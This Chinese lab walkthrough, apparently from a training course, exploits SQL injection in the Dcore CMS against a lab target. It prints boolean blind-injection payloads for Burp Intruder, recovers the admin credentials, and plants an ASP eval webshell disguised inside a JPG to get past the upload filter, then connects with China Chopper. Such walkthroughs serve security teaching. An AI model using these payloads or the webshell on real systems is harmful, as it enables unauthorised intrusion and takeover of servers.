发布时间:2022-08-19 13:12
任务场景:
小张是一位新晋的网络运维工程师,而小王是一名网络安全工程师。某天接收到上级领导的指令,要求在公司里搭建一个论坛供外人访问交流使用,为了便携省事,小张就用Dcore搭建了一个网站。过几天,小张在尝试登陆服务器并且要定期维护网页时,发现自己管理员账户的密码被他人修改。于是请小王来帮忙,检查一下密码被修改的原因以及对方入侵的服务器网站的方法。
任务分析:
Dcore是一款轻便灵活、简单易用轻型CMS系统,非常适合用于建立个人博客或企业展示站点。
基于ASP+Acess技术,体积小巧、安装简便。简单易用的管理后台,轻松管理您的网站。灵活的栏目结构,可自由定制栏目风格模板。支持建立多个子站点,同一后台自由切换。丰富的模板标签系统和详细的说明文档。同步生成静态页面,支持多种静态化策略。
第一步:开始操作说明
漏洞代码审计
在访问网页主页中index.asp页面会跳转到dynamic.asp,http://172.16.1.200/dynamic.asp?temp=index&subsite=1,dynamic.asp源码如下,temp参数指向了页面模板文件为index.html
第二步,双击渗透机机桌面上的Chrome浏览器图标,进入浏览器在地址栏输入网址http://172.16.1.200(靶机IP):8081/打开目标服务器首页
观察网站的URL,找到地址中的参数信息:?temp=index&subsite=1,分解一下首页文档为dynamic.asp,temp参数中传递了index,表明该页面为常规的首页页面,并未在模板中做过任何修改操作,subsite=1子站点参数根据任务分析中对源代码进行分析的过程可以发现此处的subsite为未经过滤的参数,基本上可以判断在URL中是包含SQL注入的,通过构建SQL注入语句进行尝试。
第三步,点击URL地址栏右侧的图标以激活hackbar插件,接下来所有的注入操作都将在此进行
插件右侧的三个按钮分别对应的是load URL(加载网址)、split URL(分割网址)、 Execute(执行),其中加载网址主要是将网址加载进插件窗口,便于修改;分割网址主要用于自动切分,并方便快速找出需要修改的地方;执行用途为访问窗口中的链接或payload。此工具还提供了很多web开发相关的命令,像urlencode,urldecode等常见的命令。在应对GET,POST请求这两个http协议中两个重要的请求时,经常会用到该插件。
第四步,接下来开始测试页面代码是否存在漏洞,首先点击插件右侧的第一个按钮(load URL),然后在url的末尾添加一个单引号,以检测是否存在单引号报错注入,最后点击第三个按钮(Execute)以执行跳转操作
如果页面没有报错,说明特殊字符是经过网站过滤的,如果页面存在报错则说明首页存在注入点,页面返回结果如下
页面出现报错,且后台数据库出现详细的错误信息。恶意攻击者通常会利用这些报错信息来判断后台 SQL 的拼接形式,甚至是直接利用这些报错注入将数据库中的数据通过报错信息显示出来。接下来的操作就简单多了。
第五步,在URL末尾添加字段and 1=1
有回显信息,证明逻辑正确,真实和真实为真实,也就是1=1这是第一个判断的信息,第二个判断的信息是and后边的信息,也就是1=1,和前面一样都为真实的事件,这两个判断信息都符合真实的条件,那么这个逻辑信息就是正确的。
在URL末尾添加字段and 1=2
回显信息为错误,逻辑为正常,众所周知,在正常条件下1=1是正确的,也就是真实和真实等于真实,1=2这个信息,在正常的条件下是绝对不相等的,1 and 1 = 2,有一条信息不符合逻辑信息,所以回显是错误的,因为回显是错误的,说明sql的运行逻辑没有被做过逻辑修改,因为若将信息做信息处理,可以将1等于任何信息,就是对判断处理的一种防护模式,也就不会出现回显报错了。
具体报错的行数为config.asp
上述代码的行号为34,查询获得的结果会作为dynamic.asp文件所包含的getstyle.asp页面的参数并不会直接显示到页面中,因此不可以使用union查询。既然如此可以使用基于布尔类型的盲注,比如猜解表名:我们可以利用一些数据相关的字典信息来猜解表名,字典可以在桌面上找到:
用于猜解表名的PoC:
and(select top 1 1 from Bruteforce[i])
注意:常规的链接可通过点击右侧的第二个链接即可切分为上图所示的格式。
第六步,使用快捷键Ctrl + N,打开一个新的标签页,然后在地址栏中输入Chrome://settings/system,跳转至系统设置页面找到打开代理设置
依照下图设置代理
然后打开桌面上的Burp_suite软件,确认软件代理处于拦截请求状态
接下来,回到浏览器中,执行用于猜解表名的PoC,
Burpsuite软件的代理已截获到浏览器发送过来的请求,使用右键菜单或快捷键Ctrl + I将请求发送给Intruder测试器
转到测试器——位置,目标参数不用设置默认即可,点击位置模块,点击右侧的§清除按钮,清除所有自动分配的载荷位置
然后将Bruteforce[i]设置为载荷位置
接下来我们来设置有效的载荷参数,点击标签页中的有效载荷选项,选择有效载荷类型为运行时文件
此时新增一个有效载荷选项[运行时文件],点击文件选择......按钮,并定位到桌面上的dict.txt文件
最后点击右上角的开始攻击按钮,等待结果即可
在结果中发现dcore_user载荷的返回页面长度为14592
通过查看该载荷响应包信息发现其现显示的页面为默认的论坛默认首页
可以确定数据库表名为dcore_user。
第七步,用同样的方法判断列是否存在。
用于猜解列名的PoC:
and(select top 1 Bruteforce[j] from dcore_user)
枚举结果如下
成功枚举出列名user_name和user_password。
第八步,使用相同的方法猜解用户名长度,用于猜解用户名长度的PoC:
and iif((select top 1 len((select user_name from dcore_user)) from dcore_user) = Bruteforce[k], 1, 0)
枚举结果如下:
发现用户名的长度为5。
第九步,使用相同的方法猜解用户名的值,用于猜解用户名值的PoC:
and iif((select mid((select user_name from dcore_user), num[j],1) from dcore_user)='Bruteforce[k]',1,0)
由于前面我们已经猜出了用户名长度为5,接下来只需要替换Bruteforce[k]为26个字母,替换num[j]为自然数1,2,3,4,5即可,第一个字母a已经判断出来,判断第二个字母,则使用以下paylaod
位置参数配置,攻击类型选择集束炸弹(Clusterbomb)
Intruder及有效载荷位置的配置参数如下
枚举结果如下
很快可以猜出用户名为admin。
第十步,当前已知表(dcore_user)和列名(user_name\user_password),接下来可以这样来查询,用于猜解admin用户密码的PoC
得到如下的信息
注意到这里可以看到加密的密码信息,需要去进行密码解密,加密的格式为MD5,解密后知道密码为admin,
第十一步,登录界面的地址为172.16.1.200:8081/admin
第十二步,登录服务器
第十三步,如果不能正常跳转,需要手动点击管理界面
第十四步,登陆成功后,可以看到后台管理的信息
第十五步,进入到风格管理界面中,在这个界面中可以看到有两个主题的信息,一个缺省信息,一个wp信息,目前版本的功能尚未完善,所以无法对其他模板进行编辑,只能使用默认模板,在左侧也能看到两个信息,风格管理和模板管理
第十六步,进入到模板管理中,选择风格为default,也就是缺省风格,在这里可以看到一些文件名称,而这些文件名都是在服务器中存在的信息,我们可以利用这一点进行文件的修改,从而达到自身的目的,可以看到这些文件的格式均为html,也就是静态页面的信息
第十七步,对list.html进行编辑,打开可以看到里面的源码,在源码中可以看到这是一个静态页面,里边也有一些DIV框架和jsp脚本信息
第十八步,打开虚拟机,可以根据之前看到的模板路径找到list.html页面,打开查看源码信息,截取部分信息,可以看到和网站中的信息一致,该文件路径位于C:\Intepub\wwwroot\dcore\template\default\list.html
进入靶机中查看该页的页面信息
第十九步,确认了以上信息之后开始对页面进行修改,创建出一个文件上传的页面信息
编辑完成后需要点击编辑进行保存
第二十步,在靶机中检查,list.html文件,可以看到信息出现了改变,说明,此文件夹有写入权限
第二十一步,在页面中访问信息,路径之前在风格管理中的模板有写,所以直接访问,查看修改后的界面信息,能够看到一个上传界面信息,和最初预想的结果毫无任何差异
第二十二步,创建木马文件wehshell.asp,上传一个asp的木马文件,木马代码<%eval request("cmd")%>
上传后看到没有任何信息
第二十三步,对空白网页查看网页源代码信息,能够看到一个脚本的信息,在脚本中可以看到文件的名称及上传的路径
上传路径为/dcore_standard/uploads/,文件名称为2020010819525723.asp同时也能看到数字202,代表含义是上传信息限制。
第二十四步,尝试打开上传后的木马页面,发现并没有成功上传
第二十五步,再次访问http://172.16.1.200:8081/template/default/list.html尝试上传桌面上的github.jpg图片,发现图片可以正常的上传到服务器中
第二十六步,使用命令copy github.jpg/b+webshell.asp/a webshell.jpg
将木马合并到图片中, 然后将webshell.jpg改名为webshell.asp.jpg
第二十七步,再次上传图片
第二十八步,访问上传的页面查看是否上传成功
第二十九步,打开桌面上的中国菜刀,使用工具chopper.exe连接asp木马
第三十步,链接成功,渗透到靶机系统中
python打包flask 项目_手把手教你将Flask应用封装成Docker服务的实现
Spring Boot + Redis 搞定搜索栏热搜、敏感文字过滤功能
centos7安装python3,并配置虚拟环境(超级详细教程)
LabVIEW FPGA PCIe开发宝典-实战篇:实验63:PCIe DMA+16位8通道ADC(模拟数据采集卡)
【历史上的今天】7 月 10 日:iOS App Store 问世;台积电创始人出生;苹果手机越狱的起源
工业自动化要学python_翻译:对测试自动化来说,为什么说Python是非常好的(选择)WHY PYTHON IS GREAT FOR TEST AUTOMATION...
python中函数参数传递的三种方式_python中函数参数传递的几种方法
Selenium+Pytest自动化测试框架实战-入门到精通